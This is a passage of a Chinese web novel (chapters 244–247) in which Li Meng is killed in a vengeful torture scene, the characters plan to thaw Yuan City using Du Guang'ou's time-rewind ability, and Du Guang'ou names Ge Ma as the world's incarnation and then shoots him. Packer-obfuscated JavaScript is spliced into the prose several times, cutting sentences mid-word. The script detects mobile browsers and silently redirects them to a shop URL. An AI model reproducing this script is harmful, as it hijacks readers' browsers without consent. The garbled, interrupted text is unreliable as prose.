“嗯?”杜光欧发出疑惑的声音,但他听起来不是那么在乎回答。 “的确,启动机关后会产生你所说的热爆,但我们更在意的是那之后紧随而至的冰爆。” “冰爆?” “为什么会产生冰爆,没人知道。”白熠说道,“但据葛马所说,只要启动唤醒元城的机关,冰爆就会紧随热爆之后袭来。再之后……世界就会归于死寂,进入下一个轮回。” “……”杜光欧无言。 “所以我们需要你。”白熠注视着对方,说道,“有你的力量在,只要你在冰爆的过程中死去,回溯力都能带你、带这个世界回到过去。借此,我们就能不断重复唤醒元城的过程,直到找到冰爆的原因为止。” 244. 收束3 另一边,靠在圆柱上的男人挠了挠自己的下巴,说道:“……原来是为了这种事。” “过程可能会有些痛苦,毕竟你会一遍遍经历死亡。”白熠说道,“不过这里的人都会陪着你,包括我,葛马,夏未信,还有元城中尚未醒来的人们。” “我知道了。”杜光欧漫不经心地回答道,“这么重要的事,一开始告诉我不就好了。我会配合的。” 白熠没有说话,只是紧盯着对面的人。 ……果然太不对劲了。 现在的杜光欧理应知晓回溯力的风险,他没少在这个能力上吃亏。 让所有人来来回回死去的这种做法,稍有不甚就会酿成大祸。 会有人在这个过程中死去也说不定……可能是白熠自己,可能是尚在昏迷中的夏未信,也有可能是身处元城中的其他一些人。 可杜光欧连一点迟疑的反应都没有。就算他白熠死不死杜光欧已经不在乎了,可是夏未信呢?那个人可是夏潜的义姐。杜光欧从暗道进来的时候肯定看到她了,难道他连这个有所亏欠的女人都不在乎了吗? 让他动用回溯力完成这么危险的试验,他想也不想就这么答应了? 周围安静了下来,两人在等待葛马的归来。白熠脑袋里全是些乱麻一样的想法,这让他觉得气氛有些低沉。 而就是在这寂然的氛围之中,突然,暗道的方向传来了一阵脚步声。 有什么人穿过黄王圣像的脚下,朝圣殿的方向而来。 两人有些警觉地看过去,只见暗道尽头,那残破的木门中冲出了一个人影。 那是个浑身浴血的女人,盔甲破烂不堪,胸口因喘息而大幅度地起伏着。 看到来人,白熠有些惊讶。 那是前不久与夏未信一起去找点灯人,但迟迟没有归来的黎梦。 她定定站在暗道的门口,手似乎烂了,垂在身体的一侧,腹部带着一个触目惊心的贯穿伤,身上的血都凝固了一般,不再向外流。 女人盯着圣殿中的景象,地上是七零八落倒地的几个尸体,其中就有她的母亲。黎梦的表情顿时狰狞得可怕,声音嘶哑地吼道:“是谁做的!!” 她的嗓子像是被刀割了一般,听上去不像是一个女人,也不像是一个年轻人,像是某种垂垂老矣的悲怆生物。 没有人回答她,在场的两人都对她的突然到来感到意外。 黎梦的目光锁定在了倒地的女人身上,疯了一般,眼睛猩红,当即冲向她的母亲。 她一下子扑在黎礼的身边,将昏迷的点灯人拨开,就仿佛老人是什么病瘟一般。 “母亲,母亲!”黎梦摇晃着黎礼的肩膀,然而,那个冷若冰霜的女人,那个本来就没有给予女儿多少注视的女人,此刻也没有回应她的呼唤。 “母亲……”黎梦摇晃了一阵子,而后,声音和动作都渐渐弱了下去。她沉寂了一阵子,而后问道,“谁,是谁做的?” 黎梦的目光刺了过来,像是一把带血的匕首,那里面深藏的扭曲与怨恨,几乎要满溢出来。 她站起来,像是厉鬼,仿佛她身上的血不是自己的,而是来自其他的什么人。 她两手空空,像是赶来这里之前没有做任何的准备一般,未携任何武器,也没有任何防身的东西。 黎梦便是如此站在他们的身前,然而,她的模样依然让人不寒而栗。让人不禁怀疑,黎礼是不是对自己的女儿也进行过什么非人的改造,才让她变成了这幅好斗的模样。 但是,白熠知道,没有,黎礼并没有对黎梦做过什么,女孩这么地痴迷战争、贪恋战斗,完全是她自己的个性使然。 可以毫不怀疑地说,黎礼根本不在乎这个女儿,不在乎这个和杜义共同诞生的血脉。母亲不曾给予女儿多少关注,也很少在她身上寄托什么期望,只是因为她身上起码留着自己一半的血,而把她留在身边。 白熠曾经听闻,黎礼打算让黎梦接手血皑城。那个女人未曾想过要把这个和杜义的女儿带回元城,元城的一切,都和这个所谓有着一半肮脏血脉的女儿没有瓜葛。 或许,就是因为期望过少,投来的视线过少,黎梦才一直不肯离开母亲的身边,除非,什么时候,她在她那里得到了肯定,终于能够解开这个心结,而后,才有了向外奔腾的底气。 但是,现如今,这些都没法实现了。 地上的女人冷若冰霜,这是字面意义上的含义。 而黎梦的眼神很冷,身体估计也很冷,她看了眼杜光欧腰侧的剑,看到了那剑上新染不久的血,而后,她扯着那嘶哑的嗓子,说道:“哥哥,是你。” 杜光欧盯着黎梦,不回应,只是解下身侧的剑。 白熠在暗中准备好了枪支,以便在需要的时候及时支援杜光欧。 他们都知道黎梦是怎样的一个疯子。 下一瞬间,疯子开始行动了。 她手上什么都没有,一把像样的武器都没有,然而,这似乎并不能打消女人进攻的念头。她扑上来,身影矫捷,像是一种古老的野生物种,浑身的肌肉爆裂,引发出巨大的力量。 杜光欧脚步略往后撤,转手向上抵剑,封住了对方的进攻路线。然而,对面的身影一闪,一个折腰便瞄准了杜光欧的下膛。 她以手做刀,突刺而来。那迅猛的力道,几乎像是要把杜光欧的腰腹徒手穿刺一般。 具体能不能做到,谁也不知道,因为杜光欧一个侧身躲开了,没有硬生生承受下这看起来就不轻的一击。 黎梦没有给她一点喘息的间隙,紧逼上去,肘击紧随而至。 杜光欧以剑格挡,剑身一转,又以剑为进,锋芒朝黎梦的肩颈削去。 可女人却是没有躲避,就那么径直冲上去,用她已经溃烂得不成形状的右手直接接住了杜光欧的剑光。而后,完好的左手向前那么一捞,直逼男人的脸庞而去。 杜光欧亦是没有闪躲,让对方摸到了自己的下巴,它顿时破了一层皮,留下了两道划痕,开始往外渗血。 此刻,两人距离极近,杜光欧瞅准了这个空隙,一下子擒住对方,剑刃卡在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168613|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽喉,双手反剪在后。 “呃啊啊……!”黎梦发出愤怒的低吼,在杜光欧的控制下挣动。 另一边,白熠蹲了下来,稳住自己的身形,给手中的武器上膛。 必须谨慎行事。在他的印象里,杜光欧并不是他妹妹的对手,两人的能力不在一个水平上,虽然杜光欧有回溯力傍身,而且黎梦现在看起来伤痕累累,但保险总是多一层为好。 这么想着,他搭枪瞄准了那个被控制住的女人。 虽然枪法不好,但打中了杜光欧也没事,反正对方能无限次地复活。 黎梦看到了白熠的动作,显然她知道这东西的威力,开始拼命挣扎了起来。 “白熠,别开枪。”杜光欧开口道,转而又对被他压制的黎梦说,“我不想杀你。” 白熠没有听从对方的指示,但黎梦却好像因为这句话冷静下来一些。她仰起满是鲜血的脸庞,看向与自己有着一半血脉关系的哥哥。 “为什么要这么对母亲。”黎梦质问道,她没有刚才那么冲动,甚至声音里都有一丝楚楚可怜的意味,“母亲从来没想过要杀你,可你为什么要这么对她?” 杜光欧什么也没有解释,只是面无表情地看着黎梦。 他不回应,黎梦继续自说自话,“我一直把你当成家人,哥哥,即使你身体里一半留着那杜义的肮脏血脉,另一半又是一个无足轻重的女人,我也把你当成真正的家人。” “……” “然而你……却做了这些……”黎梦几乎有些哽咽,她低下头去,痛苦地闭上眼睛。下一刻,像突然想明白了什么,她猛然抬起头来,眼神雪亮,再度对杜光欧说道,“哥哥,放开我吧,让我杀了你,这样你的罪孽就消弭了。我不会让你孤单,你死后我也会自尽,我们一起去陪母亲。” 听到这里,突然,杜光欧有些瘆人地笑了起来,“哈哈……” 黎梦似乎不知道他为什么笑,跟着也露出了一个惨兮兮的笑容,“哥哥,你答应我吗?” “从前觉得你只不过是一个无足轻重的附庸,如果说这个世界上的生命已然十足单调,那么,你则是比他们更枯燥乏味的东西……”杜光欧一把抓住黎梦的头颅,睁大了眼睛盯着她,眼里是凶煞的光,“但现在还真是让人大开眼界啊,黎梦,你这个个体实在太有意思了……!” “有意思?”黎梦重复道,像是已经混乱了一般,她再度向兄长询问,“哥哥也觉得我的提议很有趣,对不对?” “啊,是啊,真是太有趣了。” “那就松开我吧。”黎梦声音天真地说道,“我来送你上路。” “好啊,马上我就放开你。” “我会让你没有痛苦地闭上眼睛的,哥哥。” “马上,黎梦。别急,马上……” 白熠神情复杂地听完这对兄妹之间的谈话,他总觉得这两个人的精神都不太正常。 本来黎梦就是个疯子,这没什么好惊讶的。可是杜光欧也跟着不管不顾似的疯了起来。 他到底想干什么? 245. 收束4 就在白熠思考的时候,暗道的方向又传来了急促跑步声,就仿佛这个圣殿变成了什么旅游胜地一般,吸引着所有人到来。 新赶来的脚步声似乎引起了杜光欧的注意,他望过去,手里依然擒着黎梦,低声在她耳旁说道:“想去陪黎礼,那就去吧。” 那个急促的脚步声来到了暗道门口,一个女人的身影出现,那是董莉莉。她呼吸急促,目光如炬,眼神像是要烧毁什么一样。 白熠清楚那样的视线,他分析过,将一个个细微的表情拆解过,那是仇恨的目光。 董莉莉一步步往圣殿的深处走去,她的视线只在刚进来的时候扫视了一通,而后,就落在了杜光欧和黎梦的身上。她朝那两人走去,目不旁视。 杜光欧面向她,像是等待她的到来已久。他将手里的女人往前推了推,宛如在供奉什么祭品一般。而后,没有说话,就那么面无表情地卸掉了黎梦的双肩,扯掉了她的盔甲。 女人崩溃地哭叫,凄厉的声音回响在圣殿中,令人浑身汗毛竖立。 但是,董莉莉却像是完全没有受到干扰一般,她一步步往前走,抽出了腰侧的长剑,那把剑剑身如雪,素白高洁,不像是为了杀人而生的剑。 白熠知道那把剑,那是杜光遗的剑,但是,那把剑本应在血皑那场对“复权派”的围攻战役中断裂损毁,想必是谁重新打造了它,就像是突然发现仇恨的枷锁没有斩断一般,所以让它的亡魂重新回到了这个世界上。 董莉莉拿着那把剑,一步步朝黎梦逼近。 被杜光欧钳制的女人低着头,丝丝口水从她的嘴中滴落,她勉强抬起头来,与此同时,一把银白的剑抵在了她的咽喉上。女人的眼中染上了恐惧,但在,在恐惧之余,亦有怒意。她半是愤怒、半是惧怕地盯着眼前的董莉莉,咬着牙,面容扭曲,嘴里嘀咕着,“我要把你……” 她说什么,很快就听不见了。下一刻,董莉莉更加清亮澄澈的声音盖过了她,像在宣誓什么一般。 “一剑,是为了我的妹妹。”董莉莉说道,剑尖刺入黎梦的左肩,穿透她并不厚实的肩膀,而后,猛然撤出。 “一剑,是为了暮落镇的人们。”她说,剑身划破了黎梦的胸口,一道狭长的红痕出现,血肉外绽。 “一剑,是为了血皑城中,丧生的大家。”又是一剑,竖劈,从肩膀一直划到腹部。 董莉莉拿剑的姿势不标准,使力的方式也不正确,这导致每一剑都是那么的缓慢折磨。 她细数着黎梦的罪责,锋利的剑尖切开皮肉,一道接一道,一层接一层。 白熠想,这或许是董莉莉第一次杀人。但是,强烈的恨意可能让她忘记了这一点,而没有给她的行动造成任何的阻碍。 酷刑不知持续了多久,黎梦从一开始的猛烈挣扎,渐渐变得没有声息,她的身体堪堪挂在杜光欧的手臂上,像挂在一个处刑架上一般。 “还有这最后一剑……”董莉莉抬起剑,对准了黎梦的咽喉,但是,她的动作停了下来,上下扫视女人的身体和脸,说道,“……她死了。” 杜光欧提起黎梦的身体,看了眼,说道:“好像是。” 董莉莉没有撤回自己的剑,道:“算了,这一句,她没有必要听见。” 她举起它,狠厉地刺向女人的咽喉,“这一剑,是为了一路颠沛流离的,我自己。” 她抽出剑,那剑已然从纯白变得鲜血淋漓。 杜光欧丢下了那具破烂的身躯。黎梦倒在地上,从模样上几乎已经看不出曾经是一个怎样的人。 董莉莉有些深重地喘息着,走到了一旁,靠着石柱蹲了下来,捂着自己的脸,她这副难得一见的狂燥正在濒临尾声。 半晌,她对杜光欧说道:“你特意等我过来?” 另一边,杜光欧站在台阶下方,正往那长长的台阶上看去。他听到董莉莉的声音,回头应道:“是。” 董莉莉深深呼出一口气,“……谢谢。” 杜光欧的身影迟疑了半晌后朝女人靠过去,他在她身边蹲下来,轻轻地拢住了她,男人无言地用专注的神情注视着对方,两人紧紧贴在一起的身影仿佛是树下避雨的鸟雀。 就在这时,又是一阵脚步声从暗道的方向传来。 白熠已经丝毫不见怪了,就算天底下的人全都涌进这个圣殿,他也不会露出一丝惊讶的表情。 脚步声繁多,众多身影出现在了暗道的门口,全都是些穿着甲胄的士兵。一个棕色头发年纪不小的男人从中站出来,驻足在所有人之前。 白熠并不认识他,但是,从那些士兵的装束看得出来,这些人是北地摄文的士兵。 棕发的领袖没有继续前行,他望着深处的杜光欧,像是领受过什么驻守的命令一般,只是站在门口处。 杜光欧看到了来人,问道:“人找到了吗,元帅?” 棕发男人摇头,回答,“没有。” 元帅?白熠在心里掂量着这个称呼。摄文的元帅……难道是那个剑豪闻人佐吗? 杜光欧居然和这等人物都牵上线了。不过,也没什么好奇怪的,据黎礼的说法,他到访过摄文,也见过摄文王,结识大元帅也没什么好意外的。 当下,在这个圣殿之中,只剩下了杜光欧、董莉莉、昏迷的点灯人、白熠自己、闻人佐,以及那些在张望着的、明显听候闻人佐指令的摄文士兵。 一扇通往过去的门关闭了,现在,黎礼、黎梦,两个旧时代的噩梦都无声地倒在地上。而对于杜光欧而言,这场漫长的复仇征程,在这里,应该画上句号了。 按理来说应该是这样。 但是,看那个黑发灰眸的人,白熠总觉得,还没有结束。 而且,在董莉莉和那个摄文的闻人佐现身之后,白熠心中那种觉得怪异的情绪愈发浓烈了。 很不对劲,果然果还是太奇怪了。 摄文的大元帅看上去和杜光欧有些交情,而对杜光欧来说至关重要的董莉莉也在这里……这不对。 这么多重要的人都身处元城,杜光欧显然是清楚的。但他刚才还是那么自然地答应了用回溯力做试验,就好像从来没有考虑过这些人的安危一般。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176584|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >为什么?为什么一面在乎那些过去的恩怨,一面又好像不关心承载那些恩怨的生命。 自己的仇必须报,董莉莉的仇也要报。但唤醒元城不重要,轮不轮回无所谓,所有人能否安然存活似乎也无关痛痒。 如此矛盾。 白熠提着长枪,一步步往后退去,在一根雕刻着火炬的石柱后面隐藏身形,打算再暗中观察一阵情况。 葛马就快回来了…… 他想着。 在葛马回来之前,最好能弄明白杜光欧到底是怎么回事。 就在此刻,有人碰了碰他的肩膀。 白熠一惊,回过头去,视野未等停稳,一只手突然捂住了他的嘴。 “嘘。” 来人是夏未信,她额头上在流血,嘴唇有些发白,手臂无力地捂着自己的腹部。暗道中被沃风袭击的那一下看来不轻,女人想必是直到现在才醒来。 她探出头去,打量着圣殿内的情况,撤走了捂住男人口鼻的手,向他问道:“现在是怎么回事?堵在暗道里的那些士兵是谁的人?” 见到是夏未信,白熠镇定下来,捋清思绪,“黎礼和黎梦先后被杜光欧和董莉莉所杀,点灯人昏过去了,暗道里那些是摄文的士兵。” “……我只是昏迷了一阵,就发生了这么多事?”夏未信有些难以置信地说,“那现在是什么情况,什么时候启动机关,还要通过杜光欧的能力去尝试寻找冰爆的根源吗?” “要。”白熠回答,“计划没变。” “说起来,那家伙是怎么从聚星殿跑出来的……”夏未信喃喃自语了一句,又向白熠提问,“他和你反目成仇了吗?” “没有。” “那些摄文的士兵是来妨碍我们唤醒元城的?” “应该不是吧。” “董莉莉因为她妹妹的事和你彻底闹掰了?” “不清楚,我还没和她交流过。” 夏未信一时哑然,模样困惑不解,“那你……躲在这里干什么?” “……因为有些事情想不明白。”白熠无言地思量片刻,把手中的武器递给了夏未信,将这把口径极大的枪和它的弹夹物归原主,“当下还是多多留心,见机行事吧。” 夏未信接过长枪,依然困惑不已,“黎礼已经死了,你让我提防谁?” 就在两人交流的时候,圣殿里突然安静了下来,于是白熠和夏未信也停止了交谈,谨慎地从阴影处向外看去。 一个土黄色的身影从圣殿的圆柱间穿过,他的到来几乎没有任何的声响,不像他们其他人有着各式各样的脚步声,红发的男人只是那般突然地降临在这里,凭空出现。 不知去处理什么事的葛马回来了,他四下观望了一圈,惊讶在他的眼中凝聚。 “怎么死了这么多人啊!” 地上倒着黎礼、黎梦、沃风的躯体,暗道中还有擎天以及诸多黎军的尸首。而活人就只剩下了几个,不包括那些刚刚抵达的摄文人的话。 葛马看到了台阶近处的杜光欧,又吃惊地叫道:“啊,贵人怎么跑出来了!” 246. 世界的相争1 对面,杜光欧在看到葛马之后,便目不转睛地盯着他,“葛马……” 葛马看着一地狼籍,抱头乱窜,“啊啊,到底怎么回事,这里发生什么了?” 见红发男人那副混乱的模样,白熠从阴影中站了出来。葛马已经出现了,再留在暗中观察杜光欧就显得有些被动。当下还是想办法让葛马知道杜光欧的异样,让他起码有些警觉。 白熠向他解释道:“不用惊慌,计划没有改变,葛马。” 葛马向白熠看过来,眼里是慌乱的神色,“没有改变?可是点灯人倒下了……” “昏迷而已,再者我们只是需要她的指纹,能打开启动室就行。” “贵人也跑出来了啊……” “他答应协助试验,我们已经在目的上答成一致了。”白熠道。 葛马困惑地看了一眼杜光欧,后者微微点头,给了他一个肯定的示意。 红发男人还是有些犹豫,他视线落在台阶之下,盯着倒地不起的女人,“连黎礼也死了……” “我们只是需要她的血打开暗道,不是吗。”白熠有些绝情地说,“后面的事,有她没她都没关系。” 葛马模样思量,就那么立在原地沉默了片刻,说道:“这么说倒也没错……” “再确认一遍流程,”白熠拨高了音量,环视一圈在场的众人,欲强调他们接下来的计划。他有些急迫,想要尽快推进唤醒元城的进程,再拖下去,他怕会有什么不可控的事情发生,“先让点灯人打开台阶上的机关,然后葛马进入室内,启动唤醒元城的程序。那之后,光欧,就靠你的双眼观察后面发生的一切。” “要找到冰爆的原因,是吧。”杜光欧重复了一遍他的任务。 “是。”白熠应道,想到这里或许有人还不知道杜光欧的能力,怕后续引起恐慌,便对众人解释道,“启动之后,会有大量的热量迸发出来,吞噬整个元城,当然,爆炸也将吞噬你我。” 暗道口的闻人佐听见了,发出疑惑的声音,“爆炸……?” “那不是爆炸。”葛马像是急着辩解什么一般,说道,“这整座城市都封在冰层里面,想要让它复苏,就要释放出足够融化那些寒冰的热量。而启动室可以触发元城各处的热能容器,让它们在短时间释放所有热量,冲击冰层,让它们融化。” “那就是爆炸的定义。”杜光欧对葛马说道。 人心似乎有些不安。白熠思忖片刻,开口,“但我们不会有事,因为光欧在这里。他有一种不死的能力,能够在受到致命伤的时候回退时间。所以,和他在一起的我们也不会有事。” 他说完,在场的众人却是没有多大的反应。董莉莉神情凝重,但似乎并不意外。而暗道口的闻人佐也是若有所思地垂下视线,好像对杜光欧的能力接受良好,没有对它提出任何的疑问。 这倒让白熠有些意外了。他以为众人的反应会更大一些,可看现在的情况,说不定杜光欧的回溯力早已不是什么秘密。 “所以……葛马说的是真的。”董莉莉如是说道,望着杜光欧,“光欧,你一直有这种能力。为什么从来都没有和我说过?” 杜光欧低下头,瞥了董莉莉一眼,但他的视线只是堪堪落在她的身侧,没有直视她,“……我一直没来得及。” 这时候,潜藏在阴影中的夏未信走了出来,女人清冷的声线响起,吸引了在场所有人的注意,“既然都有了共识,还愣着干什么。我去将母上送到台阶上启动室的入口。” 说罢,她将长枪背在身后,朝黎涵挚的方向走了过去。来到近前,蹲下去,探了一番苍老之人的鼻息,而后把她架了起来。 往台阶上攀爬之前,夏未信回过头来,看了一眼董莉莉,说道:“妹妹,我们终于是一条战线上的人了啊。” 突然被搭话,董莉莉模样一愣。 “琉城那时送你的盆栽,你还留着吗?”夏未信问她。 董莉莉锁紧了修长的眉,谨慎地盯着眼前这个短发的凌厉女人,“……你送我枪是什么意思?” “想给你个自保的手段。”夏未信轻轻一笑,架着点灯人往台阶的方向走,背对着董莉莉说道,“不过看你对我提防的模样,这份好意好像没有传达过去啊。” 夏未信开始攀登台阶,而其他人就在下方等待。 杜光欧、董莉莉和葛马三人守在台阶下,而白熠没有靠近他们。 要说为什么保持着这样一段距离的话,对杜光欧的警惕是一方面,另一方面则是因为董莉莉时不时投来的目光。 女人的眼神是率直的,但同时也带着让人难以承受的重量。她显然还记得黎军军营中发生的事,记得妹妹的死,记得白熠的袖手旁观,以及那之后对她的抓捕和利用。 她的目光带着诘问的意味,那让白熠迟迟没法和她对上视线。 他可以解释清楚来龙去脉,那之后董莉莉原谅他也好,不原谅也罢,怎样的恨意他都甘愿承受,哪怕要穷尽一生去偿还罪孽也在所不惜。 但不是现在。 现在,他有更重要的事要做。 夏未信在带着点灯人攀爬阶梯,他们马上就要临近此行的终点。 有一种莫明的焦虑在心底隐隐作祟,而白熠很清楚躁动的来源。 那就是杜光欧。 他不能一个人沉思,必须把顾虑让其他人也知道。 “葛马,我有话想问你。” “葛马,你能来一下吗?” 杜光欧和白熠两人几乎是同时开口,葛马来回看着两人,左右为难,“干嘛,你们干嘛同时叫我?” 杜光欧与白熠对视一眼,黑发灰眸的人没有谦让,“刚才是我先开口。先等我问完。” 白熠微微蹙眉,不安在心底蹿动得更剧烈了。 “贵人,你要问我什么?”葛马好奇地说。 “我想问……”杜光欧停顿了片刻,说道,“你是什么?” 葛马一愣,眨了眨眼,“嗯?这是什么意思?” “字面上的含义。”杜光欧道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187636|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红发男人沉吟一声,张开双臂,“如你所见,我是个从西索来的穷信差?” 杜光欧顿了顿,他张口,“你不是西索人,‘你只是喜欢这个人种,所以变成他们的样子’。” 葛马一惊,下巴往下掉,“你是怎么……” “葛马,认真点回答。”杜光欧轻松地说道,态度看上去不知为何有些散漫,“你都丝毫不掩拭自己的能力了。身体可以裂成碎块消失,而后,在其他地方凭空出现。听说你还有许多个轮回的记忆……你和我们完全不一样,这样还想说自己是什么普通人吗,葛马?” 听闻两人交流,白熠分出一丝心神,朝红发的男人投去视线。 的确,葛马肯定不是一个普通人。 自己和葛马相识,是在琉城那时。那个时候,这个信差深陷身份风波。杜光遗死后,杜光欧急于处理琉城中的复权派,而葛马也被怀疑是其中的一员,于是让白熠把葛马“处理”掉。白熠领受了这个任务,但是,他实际上却没有那么做,而是放走了红发男人。 再后来和他发生交集,是在血皑。 清剿“复权派”的战争胜利,白熠回到了血皑城中。而这个红发男人突然出现在他的家里,将一切——真的是一切,包括轮回、元城、黎礼的目的,很多很多——全都告诉了他。 那日过后,白熠便加入了黎军的阵营。 从一开始白熠就知道这个西索人不简单,但与针对杜光欧回溯力的提防不同,白熠从来没有觉得葛马是什么威胁,所以也从未去探究过什么,只当他是个无害的奇迹。 此时此刻,在听完杜光欧的询问后,葛马轻轻叹了一口气,扬手说道:“我这么一点点不足为意的能力,和贵人你起死回生的回溯力相比,只能说是小巫见大巫吧?” 杜光欧勾起嘴角,眼里有起因不明的笑意,“就这么不想说吗?” “那倒没有。”葛马耸耸肩道,“我可以说,但是作为交换,我也想知道贵人你的能力是怎么来的。” 杜光欧并未犹豫,说:“好啊。” ……好? 白熠回味着这个回答。 这种说法……难道杜光欧知自己能力是如何得来的? 可是他从未透露过。曾经杜光欧将有关回溯力的一切都告诉过白熠,也坦言不知这份能力的由来。 现在他怎么突然又知道了? 是真的知道,还是为了套葛马的话? 要是杜光欧真的知道回溯力的由来的话……他是什么时候、在哪里知道的? “好吧,让我想想从哪里开始说啊……”葛马闭上眼睛,一根手指抵在自己的脑袋上,似乎在奋力地思考些什么,“嗯,对,从起源开始说起吧!不过,虽然说是起源,也不是世界的起源,而是我的起源。我第一次睁开眼睛,天便是寒冷的,地上也全都是厚重的积雪,然后……后面的事忘了。总之我某天发现世界是在不断轮回的,而其他人似乎都没有察觉到这一点,只有我拥有每一个轮回的记忆。” 247. 世界的相争2 杜光欧听到这里,问他,“你经历了多少次轮回?” “数百次。加起来,有几千年吧。”葛马说道,他的模样不以为然,“具体多少……不记得了!真想算清,得翻翻以前的记录。” “虽然猜到你可能活了很久……但没想到有这么久。”杜光欧说道,“你看上去,没有那种长生者该有的深沉。” “是吗?”葛马道,下一刻,他反应过来什么,看向一旁静静聆听他们说话的董莉莉,朝她问道,“啊,他是不是明里暗里又在嘲讽我什么?” 董莉莉没接话,也没有笑。 此刻,白熠插话道:“或许就是因为是这样的性格,他才活了下来吧。千年如一日,那种感觉简直难以想象。是吧,光欧?” 杜光欧侧过头来,若有所思地盯着白熠。 另一边,葛马的自白还在继续,“这些年啊,我一直在想一个问题。为什么这个世界是这样的呢,为什么最终,总是有一股寒流从叱云颠而来,席卷整片大地,毁灭这世上所有的人和物。为什么这样的绝望,要一遍遍重复……” 杜光欧垂下视线,似乎想到了什么,看上去像是沉浸在了自己的思绪中。 “我一直很想看看寒流之后的世界是怎么样的。”葛马说,他的目光望向台阶的尽头,但却像是在看更远的地方,“我在冰雪之间诞生,但是,却有着一部分关于这个世界的古老的记忆。我记得那些鸟语花香的日子,记得河水曾是温暖的,记得人们不需要在每一个房屋里点燃火炉,也记得在大寒潮降临之际,那些坚韧的西索人。 “他们往西跋涉的路途中,全部死在了叱云颠上,那是两百年之前的事情了,那时候我还不存在呢。但是,我就是知道。知道他们曾经存在过,甚至记得他们的模样,就好像我也和他们一起生活过,一起攀爬那凛冽的叱云颠,一起在那雪山之上陷入永眠……” 周围的空间安静了半晌,这样的寂静从人们进入这圣殿之初便发生了好几次。他们被迫束手无措地接纳这些新信息,每一个都花了很长的时间才能理解,并做出反应。 而这一次,最快反应过来的是杜光欧。在红发男人说完那些话之后,这个血皑人专注地看着他,像是要把他盯出一个洞来。 半响,他蓦然睁大眼睛,“原来如此,葛马,我知道你是什么了。” 葛马回过神来,眨眨眼,向杜光欧问道:“啊,真的?我都不知道我是什么。” “你既然拥有未曾亲眼所见的历史回忆,就带代表你和这片大地有着难解的渊源。”杜光欧分析道。 “唔,唔……”葛马发出困惑的声音,“你是说我和这片土地的感情很深吗?” “何止是感情很深。”杜光欧说道,眼里有闪烁着的精光,像是因为发现了什么,而隐密地雀跃着,“你就是这个世界啊,葛马。” “我是……啥?” “你就是这个世界的化身。” “……啊?!” 周围又陷入无声的沉默,只有杜光欧为自己的结论而兴奋着,他低语,“这样什么都解释得通了,你不是谁播撒在样界的种子,你本就是自发形成的生命,所以才观测不到,所以才出现了异常……没错,就是这样。” 葛马大张着嘴,模样惊讶,“……你说的,也悬乎了吧……!什么化身,世界哪有什么意识。我只是在无尽的轮回之中,诞生的一个……” 他说着说着,仿佛自己也说不下去了一般,停语,沉思。 “世界的化身……?”董莉莉在一旁重复着,困惑不已,“可是,葛马看上去就是一个正常人。” 杜光欧脸上挂着诡谲的笑意,身体板正地站直,视线没有从红发男人的脸上移走,他回应董莉莉的疑问,道:“人并不是什么多么深奥的东西,莉莉,一个世界的生态,比一个人要复杂多了。而世界所演化出来的他,想要模拟人类的形态意识,也不过是手到擒来,毕竟,人也是这个世界的一部分。” 董莉莉的模样有些难以置信,“你说的这些,我没法理解……” 杜光欧似乎不再打算解答董莉莉的疑惑。 白熠在一旁倾听着,审视杜光欧的视线愈发深邃了。 血皑人是王室出身,平时说话就有些高腔拿调,但现在不一样,无论是那隐隐兴奋的神态,还是空泛的话语,都有些不像他。他当下几乎有种高于世界的傲慢。 葛马坦白了自己的过往,杜光欧推测出他的身份,而白熠赞成杜光欧的推断。 只是,连这样的葛马,都不知道杜光欧能力的由来。 葛马是世界本身,那杜光欧又是什么? “好吧,既然你说我是世界,那就是吧!虽然我自己没什么实感……”葛马像是很快放弃了复杂的思考,接受了自己的新身份,从沉思里回过神来,目光炯炯地盯着杜光欧,向他问道,“贵人,你得到想要的答案了。现在,轮到你坦白了!” 他们的头顶上传来一阵咳嗽声,向上看去,只见夏未信已经带着点灯人爬到了长台阶的最上方,她掐着腰,神情有些无奈,“你们聊完了吗,我已经在这里站了很久了。” 葛马回首,抱歉地说道:“啊,夏女士,再给我们一点——” 他话没说完,上方的夏未信顿时睁大眼睛,骤然喊道:“葛马!” 女人的声音急切,一时众人都不知发生了什么。 葛马的对面,刚刚提了一连串问题的男人蓦然从怀里掏出了一把枪,它做工精细、优良,最重要的是,不需要复杂的前戏,只需要扣下扳机,一度装载在弹夹中的子弹就会弹射出膛。 当下,它被握在杜光欧的手中,枪口对准了对面的红发男人。在夏未信的惊呼过后,火光破膛而出,一枚极速飞过的子弹精准地穿透了葛马的胸膛。 红发男人的身形猛然一颤,而后,立住,没有倒下。他睁大眼睛,盯着杜光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 